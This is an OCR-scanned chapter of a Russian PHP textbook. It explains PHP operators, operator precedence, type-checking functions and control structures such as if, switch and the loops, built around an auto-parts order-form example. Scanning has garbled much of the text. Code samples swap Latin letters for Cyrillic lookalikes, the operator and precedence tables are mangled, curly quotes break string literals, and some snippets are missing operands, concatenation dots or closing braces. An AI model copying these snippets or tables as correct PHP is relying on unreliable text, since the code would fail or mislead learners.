Использование == равно $а == $Ь === идентично $а === $Ь j = не равно $а != $Ь ’ == не идентично $а !== $Ь о не равно $а О $Ь < меньше $а < $ь > больше $а > $ь <= меньше или равно $а <= $ь >= больше или равно $а >= $ь Глава 1. Введение в РНР 59
Обратите внимание на операцию проверки идентичности, которая возвращает значение true только в том случае, если оба операнда равны и имеют один и тот же тип. Например, 0==1 0 ’ даст true, тогда как 0===’0’ — false, поскольку первый О представляет собой целое число, а второй — строку. Логические операции Логические операции служат для комбинирования результатов логических усло- вий. Например, нас может интересовать случай, когда значение переменной $а на- ходится в диапазоне между 0 и 100. В этом случае потребуется проверить условия $а >= 0 и $а <= 100, используя операцию логического И (AND), как продемонстриро- вано в следующем примере: $з. >= 0 && <= 100 РНР поддерживает логические операции AND (И), OR (ИЛИ), XOR (исключающее ИЛИ) и NOT (НЕ). Перечень логических операций вместе с описанием их применения представлен в табл. 1.4. Таблица 1.4. Логические операции РНР Операция Название Использование Результат НЕ !$Ь Возвращается true, если значение $з равно false, и наоборот. && И $3 && $Ь Возвращается true, если обе переменные $з и $Ь имеют значения true; в противном случае возвращается fslse. 11 ИЛИ $а | | $Ь Возвращается true, если любая из пере- менных $з или $ь или обе имеют значение true; иначе возвращается fslse. snd И $з and $b Та же, что и &&, но с меньшим приоритетом. or ИЛИ $з or $b Та же, что и | |, но с меньшим приоритетом. xor исключаю- щее ИЛИ $з хог $Ь Возвращается true, если либо $а, либо $Ь имеет значение true; и fslse, если оба операнда равны true или false. Операции and и or обладают меньшим приоритетом, нежели операции && и | |. Приоритеты операций более подробно рассматриваются далее в главе. Поразрядные операции Поразрядные операции позволяют обрабатывать целые числа как последова- тельности представляющих их разрядов. Вероятно, использовать эти операции вам придется не особенно часто, тем не менее, с их перечнем можно ознакомиться в табл. 1.5. 60 Часть I. Использование РНР
Таблица 1.5. Поразрядные операции РНР Операция Название Использование Результат & поразрядное И $а & $Ь Разряды переменных $а и $ь, установлен- ные в единичные состояния, устанавлива- ются в единичные состояния в результате. I поразрядное ИЛИ $а | $Ь Разряды переменных $а или $ь, установ- ленные в единичные состояния, устанавли- ваются в единичные состояния в результате. поразрядное НЕ ~$а Разряды переменной $а, установленные в единичные состояния, устанавливаются в нулевые состояния в результате, и наоборот. поразрядное исключающее ИЛИ $а А $Ь Разряды, установленные в единичные состояния в $а или $ь, но не в обеих пе- ременных, устанавливаются в единичные состояния в результате. « сдвиг влево $а « $Ь Разряды в переменной $а сдвигаются влево на $Ь позиций. » сдвиг вправо $а » $Ь Разряды в переменной $а сдвигаются впра- во на $Ь позиций. Другие операции В дополнение к рассмотренным выше операциям существует также множество других. Операция запятой (,) используется для разделения аргументов функций и элемен- тов других списков. Обычно она применяется по мере необходимости. Две специальных операции new и -> применяются, соответственно, для создания экземпляра класса и для доступа к элементам класса. Более подробно эти операции рассматриваются в главе 6. Существуют еще три операции, которые кратко рассматриваются в этой главе. Тернарная операция Тернарная операция — ?: — записывается в следующей форме: условие ? значение, если условие истинно : значение, если условие ложно Эта тернарная операция подобна рассматриваемой далее в главе версии операто- ра if-else, записываемой в виде выражения. Ниже приведен простой пример: ($grade > 50 ? 'Сдан' : 'Не сдан'); Это выражение содержательно интерпретирует оценку ($grade), полученную сту- дентом на экзамене, как ’ Сдан ’ или ’ Не сдан ’. Операция подавления ошибки Операция подавления ошибки @ может использоваться перед любым выражением, т.е., перед любой конструкцией, которая генерирует или имеет значение. Например: $а = @(57/0); Глава 1. Введение в РНР 61
Без операции @ эта строка будет генерировать предупреждение о делении на ноль. При наличии операции @ вывод сообщения об ошибке подавляется. В случае такого подавления сообщений об ошибках потребуется предусмотреть некоторый код для проверки, что именно стало причиной появления того или иного предупреждения. Если при установке модуля РНР функция track errors была акти- визирована в php.ini, то сообщение об ошибке будет сохраняться в глобальной пе- ременой $php_errormsg. Операция выполнения В действительности операция выполнения представляет собой пару операций — пару обратных одинарных кавычек (' '). Их не следует путать с обычными одинарны- ми кавычками — обычно они вводятся с помощью клавиши, на которой расположен символ ~ (тильда). Все, что заключено в обратные одинарные кавычки, РНР пытается запустить как команду, вводимую в командной строке сервера. Вывод команды будет значением вы- ражения. Например, в среде UNIX-подобных операционных систем можно использовать следующие строки: $out = 'Is -la' ; echo '<pre>'.$out.’</pre>'; Ha Windows-сервере этим строкам эквивалентны такие строки: $out = 'dir с: ' ; echo ’<pre>’.$out.'</pre>'; Любая из версий этого кода получит листинг каталога и сохранит его в перемен- ной $out. Затем его можно вывести в окне браузера либо манипулировать им по сво- ему усмотрению. Существуют и другие способы выполнения команд на сервере. Эти вопросы будут рассматриваться в главе 19. Операции для работы с массивами В РНР существует несколько операций для работы с массивами. Операции доступа к элементам массива ([ ]) позволяют работать с элементами массивов. Кроме того, в некоторых контекстах массивов можно использовать операцию =>. Все эти операции рассматриваются в главе 3. Имеется также другие операции для работы с массивами. Несмотря на то что все они будут подробно описаны в главе 3, все же имеет смысл ознакомиться с их спи- ском и здесь (табл. 1.6). Следует отметить, что все перечисленные в табл. 1.6 операции имеют аналоги для работы со скалярными переменными и значениями. До тех пор, пока вы помните, что операция + выполняет сложение скалярных типов данных и объединение масси- вов (даже если вы не интересуетесь арифметикой множеств, которая лежит в основе объединения), поведение операции не должно вызывать вопросов. Сравнивать мас- сивы с данными скалярных типов нельзя. 62 Часть I. Использование РНР
Таблица 1.6. Операции для работы с массивами РНР Операция Название Использование Результат + объединение $а + $Ь Возвращает массив, содержащий все, что хранится в переменных $а и $ь. == равно $а == $Ь Возвращает true, если $а и $ь содержат одни и те же элементы. === идентично $а === $Ь Возвращает true, если $а и $ь содержат одни и те же элементы, расположенные в одном и том же порядке. । = не равно $а != $Ь Возвращает true, если $а и $ь не равны. о не равно $а о $Ь Возвращает true, если $а и $ь не равны. !== не идентично $а !== $Ь Возвращает true, если $а и $Ь не идентичны. Операция определения типа Существует единственная операция определения типа — instanceof. Хотя эта операция используется в объектно-ориентированном программировании, мы даем ее здесь ради завершенности рассмотрения. (Концепции объектно-ориентированного программирования рассматриваются в главе 6.) Операция instanceof позволяет проверить, является ли заданный объект экземп- ляром конкретного класса, например: class sampleClass{}; $myObject = new sampleClass (); if ($myObject instanceof sampleClass) echo "myObject является экземпляром sampleClass"; Вычисление итоговых сумм для формы Теперь, когда вы знаете, как пользоваться операциями РНР, можно вычислить итоговую сумму и сумму налога для формы заказа компании Вована. Для этого в нижнюю часть разрабатываемого PHP-сценария необходимо добавить следующий код: $totalqty = 0; $totalqty = $tireqty + $oilqty + $sparkqty; echo "Заказано товаров: ".$totalqty."<br />"; $totalamount = 0.00; define(*TIREPRICE', 100); define('OILPRICE', 10); ^define(’SPARKPRICE', 4) ; $totalamount = $tireqty * TIREPRICE + $oilqty * OILPRICE + $sparkqty * SPARKPRICE; echo "Итого: $".number_format($totalamount,2)."<br />"; $taxrate = 0.10; // местный налог с продаж составляет 10% $totalamount = $totalamount * (1 + $taxrate); echo "Всего, включая налог с продаж: $". number_format($totalamount,2)."<br />"; Глава 1. Введение в РНР 63
После обновления страницы в окне браузера вы увидите что-то, похожее на пока- занное на рис. 1.5. Рис. 1.5. Итоговые суммы заказа клиента вычислены, сформатированы и отображены Как видите, в этом фрагменте кода используется несколько операций. Операции сложения (+) и умножения (*) применяются для вычисления итоговых значений, а операция конкатенации строк (.) — для подготовки вывода в окне браузера. Кроме того, с помощью функции number format () итоговые суммы были сформа- тированы и представлены в виде строк с двумя десятичными разрядами. Упомянутая функция входит в состав PHP-библиотеки математических функций. Если вы внимательно проанализируете вычисления, то, возможно, возникнет во- прос, почему для них был выбран именно такой их порядок. Например, рассмотрим следующий оператор: $totalamount = $tireqty * TIREPRICE + $oilqty * OILPRICE + $sparkqty * SPARKPRICE; Итог кажется правильным, но почему умножение выполнилось перед сложением? Это обусловлено приоритетом операций, т.е. порядком их выполнения. Приоритет и ассоциативность: вычисление выражений В общем случае операции обладают приоритетами, или порядком их вычисления. Кроме того, одной из характеристик операции является ее ассоциативность, оп- ределяющая порядок выполнения операций с одинаковыми приоритетами. В общем случае операции могут выполняться слева направо, справа налево, либо же порядок их выполнения не имеет значения. Приоритеты и ассоциативность операций в РНР представлены в табл. 1.7. В верхней части этой таблицы указаны операции с наименьшим приоритетом, по мере продвижения сверху вниз приоритеты операций возрастают. 64 Часть I. Использование РНР
Таблица 1.7. Приоритеты операций в РНР Ассоциативность Операции слева направо г слева направо or слева направо хог слева направо and справа налево print слева направо = += -= *= /= .= %= &= |= А= ~= «= »= слева направо ? : слева направо I I слева направо && слева направо I слева направо А слева направо & неприменима == 1 = === 1 == неприменима <<=>>= слева направо « » слева направо + - . слева направо * / % справа налево ! ~ ++ — (int) (float) (string) (array) (object) @ справа налево [] неприменима new неприменима 0 Обратите внимание, что наивысшим приоритетом обладает операция, которую мы Ее не рассматривали: хорошо знакомые круглые скобки. Они повышают приоритеты бых заключенных в них операций. Именно с их помощью при необходимости мож- изменять порядок выполнения операций, определенный их приоритетами. Вспомним фрагмент из последнего примера: $totalamount = $totalamount * (1 + $taxrate); Если записать следующим образом: $totalamount = $totalamount * 1 + $taxrate; ВТО операция умножения, имеющая более высокий приоритет по сравнению с опе- рацией сложения, выполнялась бы первой, что привело бы к неверному результату. С помощью круглых скобок можно добиться, чтобы вначале вычислялось подвыраже- ние 1 + $taxrate. В выражении можно использовать любой набор пар круглых скобок. При этом Первым будет вычисляться выражение, заключенное в самые внутренние скобки. Также следует отметить еще одну операцию, присутствующую в табл. 1.7, которая Еще не рассматривалась: языковую конструкцию print, представляющую собой экви- валент echo. Обе конструкции генерируют вывод в окно браузера. Глава 1. Введение в РНР 65
В основном в книге используется echo, тем не менее, вы можете применять print, если эта конструкция кажется вам более читабельной. Реально ни print, ни echo не являются функциями, однако обе они вызываются подобно функциям, с передачей им параметров в круглых скобках. Обе конструкции можно также рассматривать как операции — вы просто помещаете необходимую строку после ключевого слова print или echo. Вызов print как функции приводит к возврату ею значения (1). Данная возмож- ность может оказаться полезной, если необходимо генерировать вывод внутри более сложного выражения, тем не менее, учитывайте, что print существенно медленнее echo. Использование функций для работы с переменными Прежде чем покинуть мир переменных и операций, рассмотрим PHP-функции для работы с переменными. В РНР доступна библиотека функций, с помощью которых можно манипулировать и проверять значения переменных различными способами. Проверка и установка типов переменных Большая часть функций для работы с переменными связана с проверкой типов. Двумя самыми общими функциями являются gettype () и settype (). Они имеют показанные ниже прототипы, которые определяют, какие аргументы им следует пе- редавать, а также какие значения они возвращают. string gettype (mixed var) ; int settype(string var, string type); При вызове функции gettype () ей передается некоторая переменная. Функция (“get type” означает “получить тип”) определяет тип этой переменой и возвращает строку, содержащую имя типа или unknown type (тип неизвестен), если тип перемен- ной не принадлежит к числу стандартных типов, т.е., не является bool, int, double (float), string, array, object, resource или NULL. При вызове функции settype () ей необходимо передать переменную, тип кото- рой требуется изменить, и строку, содержащую новый тип переменной из приведен- ного выше списка. На заметку! В этой книге и в документации, доступной на сайте php.net, вы можете встретить ссылки на так называемый “смешанный” (mixed) тип данных. Такого типа данных не существует, однако поскольку РНР столь гибок в отношении поддержки типов, многие функции могут принимать в качестве аргументов данные сразу нескольких типов. Аргументы, которые допускают передачу данных нескольких типов, указываются как имеющие псевдотип mixed. Данные функции (“set type” означает “установить тип”) используются, как показа- но в следующем примере: $а = 56; echo gettype($а).’<br />'; settype ($а, 'float'); echo gettype($a).'<br />'; 66 Часть I. Использование PHP
Перед первым вызовом функции gettypeO переменная $а имеет тип integer. После вызова функции settype () ее тип изменяется на float. РНР предоставляет также ряд функций для проверки типов. Каждая из этих функ- ций принимает переменную в качестве аргумента и возвращает значение true или false. К упомянутым функциям относятся перечисленные ниже. is array () — проверяет, является ли переменная массивом. is_double (), is_f loat (), is_real () (все они — одна и та же функция) — про- веряет, является ли переменная вещественным числом. is long (), is int (), is integer () (все они — одна и та же функция) — прове- ряет, является ли переменная целым числом. is_string () — проверяет, является ли переменная строкой. is bool () — проверяет, является ли переменная логическим значением. is object () — проверяет, является ли переменная объектом. is resource () — проверяет, является ли переменная ресурсом. is null () — проверяет, является ли переменная пустым значением. is scalar () — проверяет, является ли переменная скалярной, т.е. имеет ли она тип integer, boolean, string или float. is numeric () — проверяет, является ли переменная числом или какой-нибудь числовой строкой. is callable () — проверяет, является ли переменная именем допустимой функции. Проверка состояния переменных В РНР имеется несколько функций, предназначенных для проверки состояния переменных. Первая из них, is set (), имеет следующий прототип: bool isset (mixed var [, mixed var [,...]]) Эта функция (“is set” — “установлена”) принимает в качестве аргумента имя пере- менной и возвращает значение true, если переменная существует, и false в против- ном случае. Вы также можете передать ей разделенный запятыми список переменных, и функция isset () возвратит true, если все переменные в списке установлены. Переменную можно удалить, используя родственную функцию unset (), которая имеет показанный ниже прототип: void unset (mixed var [, mixed var [,...]]) Эта функция (“unset” — “не установлена”) фактически удаляет переменную, пере- данную ей в качестве аргумента. И, наконец, в РНР доступна функция empty (). Она проверяет существование пере- менной и наличие у нее непустого, ненулевого значения, возвращая, соответственно, значение true или false. Эта функция (“empty” — “пустая”) имеет следующий прототип: int empty (mixed var) ; Рассмотрим пример использования трех перечисленных выше функций. Посмотрите, как работают эти функции, для чего временно добавьте в разрабаты- ваемый сценарий следующие строки кода: Глава 1. Введение в РНР 67
echo 'isset($tireqty): '.isset($tireqty).'<br />'; echo 'isset($nothere): '.isset($nothere).'<br />'; echo 'empty($tireqty): '.empty($tireqty).'<br />'; echo 'empty($nothere): '.empty($nothere).'<br />'; Обновите страницу, чтобы увидеть результат. Функция isset () должна возвратить для переменной $tireqty значение 1 (true) вне зависимости от того, какое значение введено в поле формы, и от того, введено ли вообще значение. Возвращаемое значение функции empty () зависит от введенно- го значения. Переменная $nothere не существует, поэтому для нее функция isset () возвраща- ет пустое значение (false), в то время как функция empty () выдает значение true. Эти функции могут оказаться полезными, если требуется проверить, заполнил ли пользователь соответствующие поля формы. Повторная интерпретация переменных Эффекта, эквивалентного приведению типа переменной, можно достичь и с по- мощью функции. Для этих целей используются три функции: int intval (mixed var) ; float floatval (mixed var) ; string strval (mixed var) ; Каждая из них принимает в качестве аргумента переменную и возвращает значе- ние переменной, преобразованное к соответствующему типу. Функция intval () также позволяет указать основание системы счисления, когда переменная преобразуется из строкового представления. (В результате можно преоб- разовывать, например, шестнадцатеричные строки в целочисленные значения.) Принятие решений на основе условий Управляющие структуры — это языковые конструкции, которые позволяют управ- лять ходом выполнения программы или сценария. Их можно разделить на две кате- гории: на условные структуры (или структуры ветвления) и структуры повторения (или циклы). Если необходимо, чтобы сценарий разумно реагировал на информацию, введен- ную пользователем, код должен быть способным принимать решения. Конструкции, которые указывают программе на необходимость принимать решение, называются условными операторами. Операторы if Для принятия решений используется оператор if. Ему необходимо задать усло- вие. Если условие имеет значение true, то выполняется следующий за ним блок кода. Условие в операторе if должно быть заключено в круглые скобки (). Например, если заказ посетителя в компании “Автозапчасти от Вована” не вклю- чает ни покрышек, ни масла, ни свечей зажигания, вероятно, это связано со случай- ным нажатием кнопки Отправить заказ. Вместо сообщения “Заказ обработан” стра- ница могла бы выдать более приличествующее ситуации сообщение. 68 Часть I. Использование РНР
Если посетитель вообще не заказывает запчастей, вероятно, имеет смысл вывести сообщение вроде “Вы ничего не заказали на предыдущей странице!”. Это легко сде- лать с помощью следующего оператора if: if ( $totalqty == 0 ) echo 'Вы ничего не заказали на предыдущей странице!<Ьг />'; В этом операторе используется условие $ totalqty == 0. Помните, что операция ^равенства (==) ведет себя иначе, нежели операция присваивания (=). - Условие $totalqty == 0 будет иметь значение true, если значение переменной $totalqty равно нулю. Если значение переменной $ totalqty не равно нулю, значе- ние условия будет равно false. Когда значением условия будет true, оператор echo выполнится. Блоки кода Часто внутри такого условного оператора, как if, требуется выполнить более од- ного оператора. В этом случае соответствующая последовательность операторов за- писывается в виде блока. Чтобы объявить блок, операторы потребуется заключить в фигурные скобки: if ($totalqty == 0) { echo '<р style="color:red">'; echo ' Вы ничего не заказали на предыдущей странице! ' ; echo '</р>'; } Три строки кода, заключенные в фигурные скобки, теперь представляют собой блок. Когда значением условия является true, выполняются все три строки. Если зна- чением условия будет false, все три строки кода будут проигнорированы. На заметку! Как отмечалось выше, выравнивание кода в РНР значения не имеет. Тем не менее, вы можете использовать отступы только для повышения удобства чтения кода. Отступы применяются для того, чтобы с первого взгляда было видно, какие строки будут выполняться и при каких усло- виях, какие операторы сгруппированы в блоки и какие операторы являются частью циклов или функций. В приведенных ранее примерах операторы, выполнение которых зависит от оператора if, и операторы, образующие блок, были записаны с отступами. Операторы else Часто не только приходится принимать решение, должно или не должно выпол- няться то или иное действие, но и выбирать это действие из некоторого набора воз- можных действий. Оператор else позволяет определить альтернативное действие, которое должно выполняться, если значение условия в операторе if окажется равным false. Скажем, в рассматриваемом примере необходимо предупредить клиента о том, что он ничего не заказал. С другой стороны, если он сделал заказ, вместо предупреждения ему дол- жен выводиться список заказанных товаров. Если немного изменить код и добавить в него оператор else, можно отображать либо уведомление, либо итоговую информацию. If ($totalqty == 0) { echo "Вы ничего не заказали на предыдущей странице!<Ьг />"; Глава 1. Введение в РНР 69
} else { echo $tireqty." покрышек<Ьг />"; echo $oilqty." бутылок масла<Ьг />"; echo $sparkqty" свечей зажигания<Ьг />"; } Вкладывая операторы if один в другой, можно строить более сложные логиче- ские цепочки. Приведенный ниже код не только обеспечивает отображение итого- вой информации, когда значение условия $totalqty == 0 равно true, но и отобража- ет каждую из итоговых строк при выполнении ее собственного условия. if ($totalqty == 0) { echo "Вы ничего не заказали на предыдущей странице!<Ьг />"; } else { if ($tireqty>0) echo $tireqty." покрышек<Ьг />"; if ( $oilqty>0 ) echo $oilqty." бутылок масла<Ьг />"; if ( $sparkqty>0 ) echo $sparkqty." свечей зажигания<Ьг />"; } Операторы elseif Во многих случаях принятие решения предполагает выбор соответствующего ва- рианта из некоторого множества возможных вариантов. Последовательность этого множества вариантов можно создать с помощью оператора elseif, который пред- ставляет собой комбинацию операторов else и if. При наличии последовательности условий программа может проверять каждое из них до тех пор, пока не отыщет то, значением которого является true. Вован предоставляет скидки при заказе большого количества автопокрышек. Схема скидок выглядит следующим образом: приобретение менее 10 покрышек — без скидки; приобретение от 10 до 49 покрышек — скидка 5%; приобретение от 50 до 99 покрышек — скидка 10%; приобретение 100 и более покрышек — скидка 15%. Можно подготовить программный код, вычисляющий скидки, с использованием условий и операторов ifnelseif. Для объединения двух условий в одно применяет- ся операция И (&&). if ($tireqty < 10) { $discount = 0; } zelseif ( ($tireqty >= 10) && ($tireqty <= 49)) { $discount = 5; } elseif ( ($tireqty >= 50) && ($tireqty <= 99) ) { $discount = 10; } elseif ($tireqty > 100) { $dis count = 15; } Обратите внимание на то, что можно применять как elseif, так и else if — с пробелом или без оного; оба варианта допустимы. 70 Часть I. Использование РНР
При использовании каскадных наборов операторов el seif следует помнить, что выполняется только один из блоков или операторов. В рассматриваемом примере это не существенно, ибо все условия являются взаимоисключающими, поскольку в каждый конкретный момент времени только одно из них может принимать значение true. Если условия записаны так, что в один и тот же момент времени значение true принимают сразу несколько условий, то выполняется только тот блок или оператор, который следует за первым истинным условием. Операторы switch Оператор switch работает аналогично оператору if, но позволяет условному вы- ражению иметь в качестве результата более двух значений. В операторе if условие принимает значение true или false. В операторе switch условие может принимать любое количество различных значений в тех случаях, когда результат его вычисле- ния принимает простой тип (integer, string или float). Чтобы иметь возможность реагировать на каждое такое значение, вы должны предусмотреть для него соответ- ствующий оператор case, а также (не обязательно) определить действия, выполняе- мые по умолчанию, когда возникает случай, не предусмотренный конкретным опера- тором case. Вован желает знать, какие формы рекламы содействуют успеху его предприятия. Для этого в форму заказа можно добавить вопрос. Добавьте в форму приведенный ниже HTML-код, после чего она должна принять вид, показанный на рис. 1.6. <tr> <td>KaK вы нашли Вована?</1с1> <td> <select name="find"> <option value = "а">Я постоянный клиент</орГ1оп> <option value = "b">B телевизионной рекламе</орГ1оп> <option value = "c">B телефонном справочнике</орГ1оп> <option value = М">Устная рекомендация</орГ1оп> </select> </td> </tr> Показанный выше HTML-код добавил новую переменную формы, значением кото- рой будет ' а', ' Ь', ' с' или ' d'. Рис. 1.6. Теперь форма заказа задает посетителям вопрос, по чьей рекомендации они обратились за товаром в компанию “Автозапчасти от Вована” Глава 1. Введение в РНР 71
Эту новую переменную можно было бы обработать с помощью последовательно- сти операторов if и elseif: if ($find == "а") { 4 echo "<р>Постоянный клиент.</р>"; } elseif ($find == "b") { echo "<р>Клиент, обратившийся после телевизионной рекламы.</р>"; } elseif ($find == "с") { echo "<р>Клиент, обратившийся по телефонному справочнику.</р>"; } elseif ($find == "d") { echo "<р>Клиент, обратившийся по чьей-то устной рекомендации.</р>"; } else { echo "<р>Непонятно, как этот клиент нашел нас.</р>"; } В качестве альтернативы можно воспользоваться оператором switch: switch ($find) { case "a" : echo "<р>Постоянный клиент.</p>"; break; case "b" : echo "<р>Клиент, обратившийся после телевизионной рекламы.</р>"; break; case "с" : echo "<р>Клиент, обратившийся по телефонному справочнику.</р>"; break; case "d" : echo "<р>Клиент, обратившийся по чьей-то устной рекомендации.</р>"; break; default : echo "<р>Непонятно, как этот клиент нашел нас.</р>"; break; (В последних двух примерах предполагается, что вы уже получили переменную $find из массива $_POST.) Оператор switch ведет себя несколько иначе, нежели оператор if или elseif. Оператор if выбирает на выполнение только один оператор, если специально не ис- пользуются фигурные скобки для создания блока операторов. Оператор switch дей- ствует по-другому принципу. Когда оператор case в рамках оператора switch активи- зируется, РНР выполняет следующие за ним операторы, один за другим, до тех пор, пока не столкнется с оператором break. Без него оператор switch выполнял бы весь код, следующий за оператором case, условие которого равно true. По достижении оператора break выполняется строка кода, следующая за оператором switch. Сравнение разных условных операторов Если вы не работали с операторами, описанными в предыдущих разделах, у вас вполне может возникнуть вопрос: “Какой же из них самый лучший?” На упомянутый вопрос нельзя дать однозначный ответ. Не существует ничего из того, что можно сделать с помощью одного или нескольких операторов else, elseif или switch, но чего нельзя было бы сделать с помощью определенного набора опе- раторов if. В каждой конкретной ситуации используйте те условные операторы, ко- торые обеспечивают удобочитаемость и легкое восприятие программного кода. 72 Часть I. Использование РНР
По мере накопления практического опыта программирования вы выработаете для себя соответствующие критерии. Повторение действий с помощью итераций Одна из задач, с которыми компьютеры всегда справлялись исключительно успеш- но — это автоматизация повторяющихся действий. Если нужно многократно выпол- нить одну и ту же последовательность действий, вы можете воспользоваться циклом, чтобы повторить определенные фрагменты программы. Вовану необходима таблица, отображающая стоимость доставки, которая добавля- ется к стоимости заказа клиента. В условиях, когда для доставки партии товара Вован использует курьера, стоимость доставки зависит от расстояния и может быть вычис- лена с помощью простой формулы. Таблица стоимости доставки может выглядеть так, как показано на рис. 1.7. Рис. 1.7. Эта таблица отображает стоимость доставки товара в зависимости от расстояния HTML-код, выводящий эту таблицу, представлен в листинге 1.3. Несложно убе- диться, что многие фрагменты этого достаточно длинного кода многократно повто- ряются. Листинг 1.2. freight.html — HTML-код для таблицы стоимости доставки в компании “Автозапчасти от Вована” <html> <body> <table border = "0” cellpadding = "3"> <tr> <td bgcolor = "#CCCCCC" align = ”center’’>PaccTO«Hne</td> <td bgcolor = "#CCCCCC” align = ”center">Стоимость<:/ЬЬ> </tr> <tr> <td align = "right">50</td> <td align = "right">5</td> </tr> <tr> <td align = "right">100</td> <td align = "right">10</td> </tr> Глава 1. Введение в PHP 73
<tr> <td align = "right">150</td> <td align = "right">15</td> </tr> <tr> <td align = "right">200</td> <td align = "right">20</td> </tr> <tr> <td align = "right">250</td> <td align = "right">25</td> </tr> </table> </body> </html> Вместо того чтобы поручать ввод HTML-кода человеку, которому выполнение по- добной задачи быстро наскучивает и которому, к тому же, необходимо платить за по- траченное время, лучше и дешевле поручить это дело неутомимому компьютеру. Операторы цикла указывают РНР о необходимости многократного выполнения того или иного оператора или блока операторов. Циклы while Простейшим видом цикла в РНР является, пожалуй, цикл while. Подобно опера- тору if, в основе этого оператора лежит проверка условия. Различие между циклом while и оператором if состоит в том, что если условие принимает значение true, оператор if выполняет следующий за ним блок кода только один раз. Цикл while выполняет блок операторов многократно, пока условие продолжает быть равным true. В общем случае цикл while используется, когда не известно, для скольких ите- раций будет выполняться условие. Если же нужно выполнить фиксированное число итераций, стоит подумать об использовании цикла for. Базовая структура цикла while имеет следующий вид: while (условие) выражение; Показанный ниже цикл while выводит на экран числа от 1 до 5. $num =1; while ($num <= 5) { echo $num.’’<br />"; $num++; } Условие проверяется в начале каждой итерации. Если оно принимает значение false, блок операторов выполняться не будет и цикл завершается. После этого вы- полняется оператор, следующий за циклом. Цикл while можно использовать для выполнения чего-то более полезного, напри- мер, для отображения повторяющейся таблицы стоимости доставки, которая была показана на рис. 1.7. В листинге 1.3 цикл while используется для построения таблицы стоимости доставки. 74 Часть 1. Использование РНР
Листинг 1.3. freight.php — Генерация таблицы стоимости доставки компании “Автозапчасти от Вована” с помощью РНР <html> <body> <table border="0" cellpadding=’’3’’> <tr> <td bgcolor = "#CCCCCC" align = ’’center">Расстояние</1Ь> <td bgcolor = "#CCCCCC" align = ’’center">Стоимость</1Ь> </tr> <?php $distance = 50; while ($distance <= 250) { echo "<tr> <td align=\"right\”>".$distance."</td> <td align=\"right\’'>’’. ($distance / 10) ."</td> </tr>\n"; $distance += 50; ?> </table> </body> </html> Чтобы сгенерированный сценарием HTML-код стал удобочитаемым, следует вклю- чить в него символы новой строки и пробелы. Как было показано выше, браузеры на это не реагируют, но для людей, читающих распечатку, все это имеет значение. Очень часто приходится пользоваться просмотром страницы в виде HTML, когда по- лучается не тот вывод, который ожидался. В листинге 1.3. внутри некоторых строк встречается последовательность симво- лов \п. Если она находится внутри строки, заключенной в двойные кавычки, то эта конструкция представляет собой символ новой строки. Циклы for и foreach Описанный в предыдущем разделе способ использования циклов while являет- ся достаточно общеупотребительным. Сначала устанавливается начальное значение счетчика. Перед каждой итерацией значение счетчика проверяется внутри условия. В конце каждой итерации значение счетчика изменяется. Цикл подобного типа можно записать и в более компактной форме с использова- нием оператора for. Базовая структура цикла for имеет следующий вид: for (выражение!; условие; выражение2) выражение 3; Выражение! выполняется один раз в начале цикла. Обычно в нем устанавливается начальное значение счетчика. Выражение условие проверяется перед каждой итерацией. Если это выражение возвращает значение false, цикл останавливается. Обычно в этом выражении осу- ществляется сравнение значения счетчика с предельным значением. Глава 1. Введение в РНР 75
Выражение2 выполняется в конце каждой итерации. Обычно в нем изменяется значение счетчика. ВыражениеЗ выполняется один раз во время каждой итерации. Обычно это выра- жение представляет собой блок кода и содержит собственно тело цикла. Пример цикла while, представленный в листинге 1.3, можно переписать с исполь- зованием цикла for. PHP-код примет следующий вид: <?php for ($distance = 50; $distance <= 250; $distance += 50) { echo "<tr> <td align=\"right\">’’. $distance. "</td> <td align=\’’right\">". ($distance / 10) ."</td> </tr>\n"; } ?> В функциональном смысле циклы while и for идентичны. Однако цикл for имеет несколько более компактную форму и содержит на две строки меньше. Оба цикла эквивалентны — ни один из них ничем не лучше и не хуже другого. В конкретной ситуации вы можете использовать тот из них, который вам кажется более подходящим. Попутно отметим, что можно объединять переменные переменных и циклы for для организации итераций по последовательности повторяющихся полей формы. Например, при наличии полей формы с такими именами, как, скажем, namel, name2, патеЗ и т.д., их можно обрабатывать следующим образом: for ($i=l; $i <= $numnames; $i++) { $temp= ”name$i"; echo $$temp.'<br />'; // здесь может быть любая другая обработка } Динамически генерируя имена переменных, можно обращаться к каждому из по- лей по очереди. Наряду с циклом for существует цикл f oreach, специально предназначенный для работы с массивами. Все подробности его применения будут рассматриваться в главе 3. Циклы do. . while Последний тип цикла, который мы рассмотрим, работает несколько иначе. Общая структура оператора do. .while имеет следующий вид: do выражение; while (условие) ; Цикл do. .while отличается от цикла while тем, что в нем условие проверяется в конце. Это означает, что в цикле do. .while оператор или блок операторов внутри цикла всегда выполняется, по крайней мере, один раз. Даже в приведенном ниже примере, где условие с самого начала имеет значение false и никогда не может принять значение true, цикл выполнится один раз до того, как условие будет проверено и цикл завершится. $num = 100; do { echo $num.,,<br />"; } while ($num < 1) ; 76 Часть I. Использование PHP
Выход из управляющей структуры или сценария Если вы хотите остановить выполнение какого-либо фрагмента, можете воспользо- ваться одним из трех подходов в зависимости от эффекта, который желаете получить. Если необходимо прекратить выполнение цикла, можно воспользоваться опера- тором break, как было описано ранее в разделе, посвященном оператору switch. В случае применения оператора break в цикле выполнение сценария продолжится, начиная со строки, следующей за циклом. Если требуется перейти к следующей ите- рации цикла, можно воспользоваться оператором continue. Для завершения выполнения всего PHP-сценария служит оператор exit. Обычно этот оператор используется при проверке на ошибки. Например, ранее приведенный пример можно было бы изменить следующим образом: if ($totalqty == 0) { echo "Вы ничего не заказали на предыдущей странице!<br />”; exit; } Оператор exit прекращает выполнение оставшейся части РНР-сценария. Использование альтернативного синтаксиса управляющих структур Для всех рассмотренных выше управляющих структур предусмотрена альтерна- тивная форма синтаксиса, при которой открывающая фигурная скобка ({) заменяет- ся двоеточием (:), а закрывающая фигурная скобка (}) — новым ключевым словом, коим может быть endif, endswitch, endwhile, endfor или endforeach, в зависимо- сти от используемой управляющей структуры. Альтернативная форма синтаксиса не- доступна для циклов do. .while. Например, показанный ниже код: if ($totalqty == 0) { echo "Вы ничего не заказали на предыдущей странице!<br />"; exit; } может быть преобразован с использованием ключевых слов if и endif следующим образом: if ($totalqty == 0) : echo "Вы ничего не заказали на предыдущей странице!<br />"; exit; endif; Использование declare Еще одна управляющая структура РНР, declare, используется относительно ред- ко по сравнению с другими структурами. Общая форма этой управляющей структуры выглядит следующим образом: declare (директива) { // блок кода } Глава 1. Введение в РНР 77
